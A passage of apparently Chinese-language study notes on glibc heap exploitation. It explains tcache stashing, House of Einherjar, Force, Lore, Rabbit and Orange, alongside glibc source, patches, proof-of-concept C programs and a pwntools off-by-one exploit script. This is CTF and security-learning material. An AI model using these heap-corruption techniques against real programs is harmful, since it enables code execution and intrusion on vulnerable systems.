//trigger the attack
fprintf(stderr, "Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n");

calloc(1,0x90);

fprintf(stderr, "Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);

//malloc and return our fake chunk on stack
target = malloc(0x90);

fprintf(stderr, "As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);
return 0;
}

攻击利用的是 tcache bin 有剩余 (数量小于 TCACHE_MAX_BINS ) 时,当调用calloc函数分配堆块时,不从 tcache bin 中选取,而是从small bin选取,在获取到一个 smallbin 中的一个 chunk 后会如果 tcache 仍有足够空闲位置,会将剩余的 small bin 链入 tcache ,在这个过程中只对第一个 bin 进行了完整性检查,后面的堆块的检查缺失。

情景

当前small bin有两个chunk(chunk0与chunk1),利用溢出或覆写改掉chunk1的bk位一个可写入的地址writable_addr,

tcache中有5个chunk,当下一次calloc申请chunk时,会返回chunk0给用户,同时将chunk1以及chunk1的bk指针指向的位置作为chunk2放入tcache(因为放入时只检查了第一个chunk,就是chunk1,而没有全部检查),形成下面的单链表:

1
chunk2(writable_addr)->chunk1->chunk(5)

在这个过程中,因为会出现chunk1从smallbin的脱链操作,所以会把chunk2的fd设置为bin的地址,即写入了一个libc地址。

随后再次malloc,可以申请到这个伪造的chunk2。

libc leak

这个和tcache有那么点关系,主要是之前可以直接malloc一个chunk,然后通过free后的fd位置得到libc中unsorted bin的地址

1
2
3
4
5
6
7
8
9
10
#include <stdlib.h>
#include <stdio.h>

int main()
{
long *a = malloc(0x1000);
malloc(0x10);
free(a);
printf("%p\n",a[0]);
}

在glibc2.26后由于出现了tcache,所以需要填满tcache再leak:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdlib.h>
#include <stdio.h>

int main(int argc , char* argv[])
{
long* t[7];
long *a=malloc(0x100);
long *b=malloc(0x10);

// make tcache bin full
for(int i=0;i<7;i++)
t[i]=malloc(0x100);
for(int i=0;i<7;i++)
free(t[i]);

free(a);
// a is put in an unsorted bin because the tcache bin of this size is full
printf("%p\n",a[0]);
}

Tcache Check

Tcache 的 double free 的 check:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#if USE_TCACHE
{
/*找对应到tcache的index*/
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);

/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
/*遍历链表看是不是有相同的tcache chunk 防止double free*/
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}

这个其实前面已经说过了,这会导致tcache dup失效。

不过这个只是在tcache chunk的free了判断,而不是tcache_get或tcache_put,这两个用来从tcache存取chunk的函数还是原来那样简单,或许有其他可利用的地方。

House Of Einherjar(glibc 2.28及以下可用)

原理就是利用了free中早期未对后向合并过程做检查。下面是早期的free过程:

1
2
3
4
5
6
7
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

可以看到,在进行后向合并时,会根据当前块的prev_size和prev_inuse去获取相邻低地址处chunk。

  • 由前面的堆管理可以知道,chunk的prev_size是和前一个chunk共享的,低地址的chunk在使用中可以使用到高地址chunk的prev_size字段,因此可以用过写低地址的chunk修改高地址chunk的prev_size,如果有off_by_one漏洞则可以覆盖高地址chunk的prev_inuse位,将低地址chunk标记为空闲。

  • 在free时高地址chunk时便会通过prev_inuse发现低地址chunk是空闲,尝试通过prev_size去找到这个低地址chunk的头部进行unlink后合并。

  • 由于会对新的chunk进行unlink,所以需要确保对应 chunk 位置构造好了 fake chunk 以便于绕过 unlink 的检测如下:只需要将p->fk和p->bk均设为p即可,并且需要伪造一个next chunk的prev_size。

1
2
3
4
5
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
malloc_printerr ("corrupted double-linked list");
...
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size");

可以参考例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void){
char* s0 = malloc(0x200); //构造fake chunk
char* s1 = malloc(0x18);
char* s2 = malloc(0xf0); 
char* s3 = malloc(0x20); //为了不让s2与top chunk 合并
printf("begin\n");
printf("%p\n", s0);
printf("input s0\n");
read(0, s0, 0x200); //读入fake chunk
printf("input s1\n");
read(0, s1, 0x19); //Off By One
free(s2);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

p = process("./example")
context.log_level = 'debug'
#gdb.attach(p)
p.recvuntil("begin\n")
address = int(p.recvline().strip(), 16)
p.recvuntil("input s0\n")
payload = p64(0) + p64(0x101) + p64(address) * 2 + "A"*0xe0
'''
p64(address) * 2是为了绕过
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr ("corrupted double-linked list");
'''
payload += p64(0x100) #next fake chunk prev_size
'''
绕过检查:
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size");
'''
p.sendline(payload)
p.recvuntil("input s1\n")
payload = "A"*0x10 + p64(0x220) + "\x00"
p.sendline(payload)
p.recvall()
p.close()

patch

glibc 2.29后失效,添加了安全检查:

1
2
3
4
5
6
7
8
9
10
/* consolidate backward */
/*后向合并 合并的是比他地址低的chunk*/
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}

总结

  • glibc<=2.28
  • 需要有溢出漏洞可以写物理相邻的高地址的 prev_size 与 PREV_INUSE 部分。
  • 需要泄漏地址,计算目的 chunk 与 p1 地址之间的差
  • 需要在目的 chunk 附近构造相应的 fake chunk,从而绕过 unlink 的检测。

House Of Force( glibc2.28及以下)

对top chunk做文章。通过修改top chunk 的size 绕过top chunk大小判断,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
victim = av->top;/*获取当前top chunk位置*/
size = chunksize (victim);/*获取top chunk大小*/
/*如果top chunk大小分配完还够一个最小chunk 就分配*/
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
/*剩余大小*/
remainder_size = size - nb;
/*剩余chunk*/
remainder = chunk_at_offset (victim, nb);
/*修改top chunk指针*/
av->top = remainder;
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);

check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

这里在检查size的时候出现了问题,使用的是无符号数。

一般的做法是把 top chunk 的 size 改为 - 1,这样在比较时size 转换成无符号数通过验证。并且这时在计算新的top chunk时由于是用了size-nb,而nb可以为负数,导致top chunk向低地址处移动。

而在malloc(size)的过程中,malloc调用了宏checked_request2size去检查size:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#define REQUEST_OUT_OF_RANGE(req)                                 \
((unsigned long) (req) >= \
(unsigned long) (INTERNAL_SIZE_T) (-2 * MINSIZE))

/* pad request bytes into a usable size -- internal version */

#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

#define checked_request2size(req, sz) \
if (REQUEST_OUT_OF_RANGE(req)) { \
__set_errno(ENOMEM); \
return 0; \
} \
(sz) = request2size(req);

checked_request2size (bytes, nb)

总结malloc(size)时size有以下几个限制:

  • 传递的参数不得大于 -2 * MINSIZE
  • 需要使得 ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK 恰好为需要大小。
    • 这里需要注意对齐与否,如果对齐直接减去SIZE_SZ 和MALLOC_ALIGN_MASK即可
  • 可以通过申请负的size将top chunk降低到低地址空间修改got表等地址处的值
  • 也可以通过申请很大的size将top chunk抬高到高地址空间修改其他地址处的值

利用条件

  • 首先,需要存在漏洞使得用户能够控制 top chunk 的 size 域。
  • 其次,需要用户能自由控制 malloc 的分配大小
  • 第三,分配的次数不能受限制

其中第二点一般ctf无法满足

patch

glibc2.29加入了判定,方法失效。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
victim = av->top;
size = chunksize (victim);

if (__glibc_unlikely (size > av->system_mem))
malloc_printerr ("malloc(): corrupted top size");

if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
av->top = remainder;
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);

check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

House of Lore(全版本可用?)

对small bin做文章。这个是_int_malloc在申请堆块位于small bin时的流程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
/*
If a small request, check regular bin. Since these "smallbins"
hold one size each, no searching within bins is necessary.
(For a large request, we need to wait until unsorted chunks are
processed to find best fit. But for small ones, fits are exact
anyway, so we can check now, which is faster.)
*/

if (in_smallbin_range(nb)) {
// 获取 small bin 的索引
idx = smallbin_index(nb);
// 获取对应 small bin 中的 chunk 指针
bin = bin_at(av, idx);
// 先执行 victim= last(bin),获取 small bin 的最后一个 chunk
// 如果 victim = bin ,那说明该 bin 为空。
// 如果不相等,那么会有两种情况
if ((victim = last(bin)) != bin) {
// 第一种情况,small bin 还没有初始化。
if (victim == 0) /* initialization check */
// 执行初始化,将 fast bins 中的 chunk 进行合并
malloc_consolidate(av);
// 第二种情况,small bin 中存在空闲的 chunk
else {
// 获取 small bin 中倒数第二个 chunk 。
bck = victim->bk;
// 检查 bck->fd 是不是 victim,防止伪造
if (__glibc_unlikely(bck->fd != victim)) {
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
// 设置 victim 对应的 inuse 位
set_inuse_bit_at_offset(victim, nb);
// 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;
// 如果不是 main_arena,设置对应的标志
if (av != &main_arena) set_non_main_arena(victim);
// 细致的检查
check_malloced_chunk(av, victim, nb);
// 将申请到的 chunk 转化为对应的 mem 状态
void *p = chunk2mem(victim);
// 如果设置了 perturb_type , 则将获取到的chunk初始化为 perturb_type ^ 0xff
alloc_perturb(p, bytes);
return p;
}
}
}

可以看到,它通过bck = victim->bk;来通过最后一个chunk获取倒数第二个chunk,并且对其进行了一个简单的校验:

1
2
3
4
5
// 检查 bck->fd 是不是 victim,防止伪造
if (__glibc_unlikely(bck->fd != victim)) {
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}

如果能够控制最后一个chunk的bk指针指向内存中构造的fake chunk,并且其fake chunk->fd指向最后一个chunk,则可以成功的将 small bin 的 bk 设置为fake chunk,下一次malloc时即可申请到伪造的chunk。

此时的smallbin(图中虚线为last chunk原有结构,红线为修改后)

不过这里还需要注意,下一次malloc时,fake chunk位于small bin的队列首部,会同样通过bck = victim->bk;来找倒数第二个chunk,所以需要确保我们的目的fake chunk->bk指向的fake chunk2,满足fake chunk2->fd ==fake_chunk,否则申请fake_chunk时会再次被检测到。

实例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

void jackpot(){ puts("Nice jump d00d"); exit(0); }

int main(int argc, char * argv[]){


intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};

fprintf(stderr, "\nWelcome to the House of Lore\n");
fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
fprintf(stderr, "This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23\n\n");

fprintf(stderr, "Allocating the victim chunk\n");
intptr_t *victim = malloc(100);
fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);

// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
intptr_t *victim_chunk = victim-2;

fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);
fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);

fprintf(stderr, "Create a fake chunk on the stack");
fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
"in second to the last malloc, which putting stack address on smallbin list\n");
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;

fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
"chunk on stack");
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
"the small one during the free()\n");
void *p5 = malloc(1000);
fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);


fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free((void*)victim);

fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);

void *p2 = malloc(1200);
fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);

fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

//------------VULNERABILITY-----------

fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

//------------------------------------

fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");

void *p3 = malloc(100);


fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
char *p4 = malloc(100);
fprintf(stderr, "p4 = malloc(100)\n");

fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
stack_buffer_2[2]);

fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
}

具体步骤:

  • 申请一个可控的small chunk (称之为victim的话)

    • 为了防止在free时与top chunk 合并, 需要在后面申请一个large chunk。
    • 之后free掉victim,会被放入unsorted bin
  • 栈上伪造两个chunk

    • 一个是我们要用到的目标fake chunk,将其fd指向原来small bin的victim,bk指向fake chunk2,绕过检查
    • 一个是用来绕过malloc检测的fake chunk2,其fd指向fake chunk,绕过检查
  • 申请一个无法处理的chunk,让malloc将victim从unsorted bin中取出

  • 将victim的bk改为fake chunk,绕过检查

  • 再次malloc一个对应大小的chunk,申请到fake chunk,实现任意地址读写

House of Rabbit(glibc2.26及以下)

一般运用在 fastbin attack 中,因为 unsorted bin 等其它的 bin 有更好的利用手段。

原理

前面讲过,fastbin 中的chunk 在分配时是有限制的,如果size和index对应的不同就会报错,如下:

1
2
3
4
5
6
7
...
##define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
...
size_t victim_idx = fastbin_index (chunksize (victim));
if (__builtin_expect (victim_idx != idx, 0))
malloc_printerr ("malloc(): memory corruption (fast)");

而这个技术正是利用了malloc_consolidate过程中并没有对fastbin 的size进行检查,由此,如果修改掉fast bin chunk的size 后触发malloc_consolidate(比如通过malloc large chunk等方式即可)会导致fastbin的chunk合并, 达到overlapping效果。

修改chunk的size
  • 申请了两个chunk
  • 修改chunk1的size 覆盖chunk2
  • 触发malloc_consolidate,两个chunk按照大小都会被放入small bin ,但由于并没有检查大小,所以chunk1会把chunk2包含其中
  • 之后申请chunk2,则其头部会被完全控制。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
unsigned long* chunk1=malloc(0x40); //0x602000
unsigned long* chunk2=malloc(0x40); //0x602050
malloc(0x10);
free(chunk1);
free(chunk2);
/* Heap layout
0000| 0x602000 --> 0x0
0008| 0x602008 --> 0x51 ('Q')
0016| 0x602010 --> 0x0
.....
0080| 0x602050 --> 0x0
0088| 0x602058 --> 0x51 ('Q')
0096| 0x602060 --> 0x602000 --> 0x0
0104| 0x602068 --> 0x0
......
0160| 0x6020a0 --> 0x0
0168| 0x6020a8 --> 0x21 ('!')
0176| 0x6020b0 --> 0x0
0184| 0x6020b8 --> 0x0
*/
chunk1[-1]=0xa1; //modify chunk1 size to be 0xa1
malloc(0x1000); //allocate a large chunk, trigger malloc consolidate
/*Chunk1 overlap with chunk2 now
gdb-peda$ telescope 0x602000 100
0000| 0x602000 --> 0x0
0008| 0x602008 --> 0xa1
0016| 0x602010 --> 0x7ffff7dd1c08 --> 0x7ffff7dd1bf8 --> 0x7ffff7dd1be8 --> 0x7ffff7dd1bd8 --> 0x7ffff7dd1bc8 (--> ...)
0024| 0x602018 --> 0x7ffff7dd1c08 --> 0x7ffff7dd1bf8 --> 0x7ffff7dd1be8 --> 0x7ffff7dd1bd8 --> 0x7ffff7dd1bc8 (--> ...)
0032| 0x602020 --> 0x0
.....
0080| 0x602050 --> 0x0
0088| 0x602058 --> 0x51 ('Q')
0096| 0x602060 --> 0x7ffff7dd1bb8 --> 0x7ffff7dd1ba8 --> 0x7ffff7dd1b98 --> 0x7ffff7dd1b88 --> 0x7ffff7dd1b78 (--> ...)
0104| 0x602068 --> 0x7ffff7dd1bb8 --> 0x7ffff7dd1ba8 --> 0x7ffff7dd1b98 --> 0x7ffff7dd1b88 --> 0x7ffff7dd1b78 (--> ...)
0112| 0x602070 --> 0x0
0120| 0x602078 --> 0x0
....
0152| 0x602098 --> 0x0
0160| 0x6020a0 --> 0xa0
0168| 0x6020a8 --> 0x20 (' ')

gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
top: 0x603450 (size : 0x1fbb0)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x050) smallbin[ 3]: 0x602050
(0x0a0) smallbin[ 8]: 0x602000 (overlap chunk with 0x602050(freed) )
*/
修改chunk的fd指针
  • 申请两个chunk
    • 一个是放入fastbin 的chunk1;一个是用来伪造chunk的大的chunk2
  • 将chunk2中伪造为几个chunk(chunk3 chunk4…),size的prev_inuse需要为1,防止合并
  • free掉chunk1
    • 此时fast bin为:chunk1
  • 修改chunk1的fd为chunk3
    • 此时fastbin:chunk1->chunk3
  • 触发malloc_consolidate,chun1和chunk3都会放入small bin
  • 申请到chunk3
  • chunk3此时完全位于chunk2中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
unsigned long* chunk1=malloc(0x40); //0x602000
unsigned long* chunk2=malloc(0x100);//0x602050

chunk2[1]=0x31; //fake chunk size 0x30
chunk2[7]=0x21 //fake chunk's next chunk
chunk2[11]=0x21 //fake chunk's next chunk's next chuck
/* Heap laylout
0000| 0x602000 --> 0x0
0008| 0x602008 --> 0x51 ('Q')
0016| 0x602010 --> 0x0
......
0080| 0x602050 --> 0x0
0088| 0x602058 --> 0x111
0096| 0x602060 --> 0x0
0104| 0x602068 --> 0x31 ('1')
0112| 0x602070 --> 0x0
......
0144| 0x602090 --> 0x0
0152| 0x602098 --> 0x21 ('!')
0160| 0x6020a0 --> 0x0
0168| 0x6020a8 --> 0x0
0176| 0x6020b0 --> 0x0
0184| 0x6020b8 --> 0x21 ('!')
0192| 0x6020c0 --> 0x0
......
0352| 0x602160 --> 0x0
0360| 0x602168 --> 0x20ea1
*/
free(chunk1);
chuck1[0]=0x602060;// modify the fd of chunk1
/*
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x602000 --> 0x602060 (size error (0x30)) --> 0x0
*/
malloc(5000);// malloc a big chunk to trigger malloc consolidate
/*
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
top: 0x6034f0 (size : 0x1fb10)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x050) smallbin[ 3]: 0x602000
(0x030) smallbin[ 1]: 0x602060
*/

House of Orange

主要在top chunk做文章。核心在于在没有 free 函数的情况下得到一个释放的堆块 (unsorted bin)

当前堆的 top chunk 尺寸不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入 unsorted bin 中,通过这一点可以在没有 free 函数情况下获取到 unsorted bins。

在malloc时当检测到所有的bin都不合要求后会尝试使用top chunk,当top chunk也不符合要求时,执行 sysmalloc 来向系统申请更多的空间。

1
2
3
4
5
6
7
8
9
/*
Otherwise, relay to handle system-dependent cases
*/
else {
void *p = sysmalloc(nb, av);
if (p != NULL && __builtin_expect (perturb_byte, 0))
alloc_perturb (p, bytes);
return p;
}

对于堆来说有 mmap 和 brk 两种分配方式,需要让堆以 brk 的形式拓展,之后原有的 top chunk 会被置于 unsorted bin 中。

要实现这个目的需要绕过一些 libc 中的 check

  • malloc 的尺寸不能大于mmp_.mmap_threshold

    • 如果所需分配的 chunk 大小大于 mmap 分配阈值,默认为 128K,并且当前进程使用 mmap() 分配的内存块小于设定的最大值,将使用 mmap() 系统调用直接向操作系统申请内存。
    1
    if ((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))
  • 检查了 top chunk 的合法性

    • 伪造的 size 必须要对齐到内存页
    • size 要大于 MINSIZE(0x10)
    • size 要小于之后申请的 chunk size + MINSIZE(0x10)
    • size 的 prev inuse 位必须为 1
    1
    2
    3
    4
    5
    6
    assert((old_top == initial_top(av) && old_size == 0) ||
    ((unsigned long) (old_size) >= MINSIZE &&
    prev_inuse(old_top) &&
    ((unsigned long)old_end & (pagesize - 1)) == 0));
    /* Precondition: not enough current space to satisfy nb request */
    assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

之后原有的 top chunk 就会执行_int_free进入 unsorted bin

示例

1
2
3
4
5
6
7
8
9
10
11
#define fake_size 0xfe1

int main(void)
{
void *ptr;
ptr=malloc(0x10);
ptr=(void *)((int)ptr+24);
*((long long*)ptr)=fake_size; // overwrite top chunk size
malloc(0x60);
malloc(0x60);
}

通过上一个chunk修改top chunk的size,来对top chunk的size进行伪造。

1
2
3
4
0x602000:   0x0000000000000000  0x0000000000000021
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000020fe1 <== top chunk
0x602030: 0x0000000000000000 0x0000000000000000

需要注意对齐,此时top chunk在0x602020,要满足0x1000(4k)对齐,size只能是0xfe1/0x1fe1等。

之后top chunk被放入unsorted bin,下一次申请时会分割这个chunk。

利用涉及到_IO_FILE 的知识(?)

House of Roman

按照ctf-wiki所说,其实是 fastbin attack 和 Unsortbin attack 结合的一个小trick,当下没太看懂,日后再说。